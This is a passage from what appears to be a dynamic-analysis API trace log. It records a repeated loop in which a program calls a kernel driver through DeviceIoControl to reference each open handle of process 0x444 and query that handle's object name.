nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0122.492] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.492] PsAcquireProcessExitSynchronization () returned 0x0 [0122.492] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.492] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0122.492] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.492] PsReleaseProcessExitSynchronization () returned 0x2 [0122.492] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.492] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.492] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0122.492] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.493] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x11c, lpOverlapped=0x0) returned 1 [0122.493] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.493] PsAcquireProcessExitSynchronization () returned 0x0 [0122.493] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.493] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0122.493] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.493] PsReleaseProcessExitSynchronization () returned 0x2 [0122.493] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.493] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0122.493] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0122.493] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.493] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0122.493] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.493] PsAcquireProcessExitSynchronization () returned 0x0 [0122.493] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.493] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0122.493] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.493] PsReleaseProcessExitSynchronization () returned 0x2 [0122.493] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.493] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.493] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0122.493] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.493] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.493] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.493] PsAcquireProcessExitSynchronization () returned 0x0 [0122.494] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.494] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0122.494] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.494] PsReleaseProcessExitSynchronization () returned 0x2 [0122.494] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.494] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.494] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0122.494] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.494] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0122.494] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.494] PsAcquireProcessExitSynchronization () returned 0x0 [0122.494] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.494] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0122.494] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.494] PsReleaseProcessExitSynchronization () returned 0x2 [0122.494] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.494] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.494] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0122.494] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.494] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.494] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.494] PsAcquireProcessExitSynchronization () returned 0x0 [0122.494] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.494] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0122.494] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.494] PsReleaseProcessExitSynchronization () returned 0x2 [0122.494] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.494] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.494] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0122.494] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.495] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0122.495] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.495] PsAcquireProcessExitSynchronization () returned 0x0 [0122.495] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.495] ObReferenceObjectByHandle (in: Handle=0x7f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0122.495] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.495] PsReleaseProcessExitSynchronization () returned 0x2 [0122.495] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.495] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.495] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0122.495] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.495] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.495] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.495] PsAcquireProcessExitSynchronization () returned 0x0 [0122.495] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.495] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0122.495] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.495] PsReleaseProcessExitSynchronization () returned 0x2 [0122.495] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.495] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.495] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0122.495] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.495] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.495] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.495] PsAcquireProcessExitSynchronization () returned 0x0 [0122.495] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.495] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0122.495] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.496] PsReleaseProcessExitSynchronization () returned 0x2 [0122.496] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.496] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.496] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0122.496] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.496] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.496] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.496] PsAcquireProcessExitSynchronization () returned 0x0 [0122.496] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.496] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0122.496] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.496] PsReleaseProcessExitSynchronization () returned 0x2 [0122.496] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.496] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.496] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0122.496] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.496] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x10c, lpOverlapped=0x0) returned 1 [0122.496] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.496] PsAcquireProcessExitSynchronization () returned 0x0 [0122.496] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.496] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020046f0, HandleInformation=0x0) returned 0x0 [0122.496] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.496] PsReleaseProcessExitSynchronization () returned 0x2 [0122.496] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.496] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.496] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0122.496] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.496] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.497] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.497] PsAcquireProcessExitSynchronization () returned 0x0 [0122.497] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.497] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0122.497] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.497] PsReleaseProcessExitSynchronization () returned 0x2 [0122.497] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.497] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.497] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0122.497] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.497] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.497] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.497] PsAcquireProcessExitSynchronization () returned 0x0 [0122.497] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.497] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0122.497] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.497] PsReleaseProcessExitSynchronization () returned 0x2 [0122.497] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.497] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.497] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0122.497] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.497] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.497] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.497] PsAcquireProcessExitSynchronization () returned 0x0 [0122.497] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.497] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0122.497] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.498] PsReleaseProcessExitSynchronization () returned 0x2 [0122.498] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.498] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.498] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0122.498] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.498] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.498] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.498] PsAcquireProcessExitSynchronization () returned 0x0 [0122.498] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.498] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0122.498] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.498] PsReleaseProcessExitSynchronization () returned 0x2 [0122.498] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.498] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.498] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0122.498] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.498] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.498] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.498] PsAcquireProcessExitSynchronization () returned 0x0 [0122.498] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.498] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0122.498] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.498] PsReleaseProcessExitSynchronization () returned 0x2 [0122.498] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.498] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, 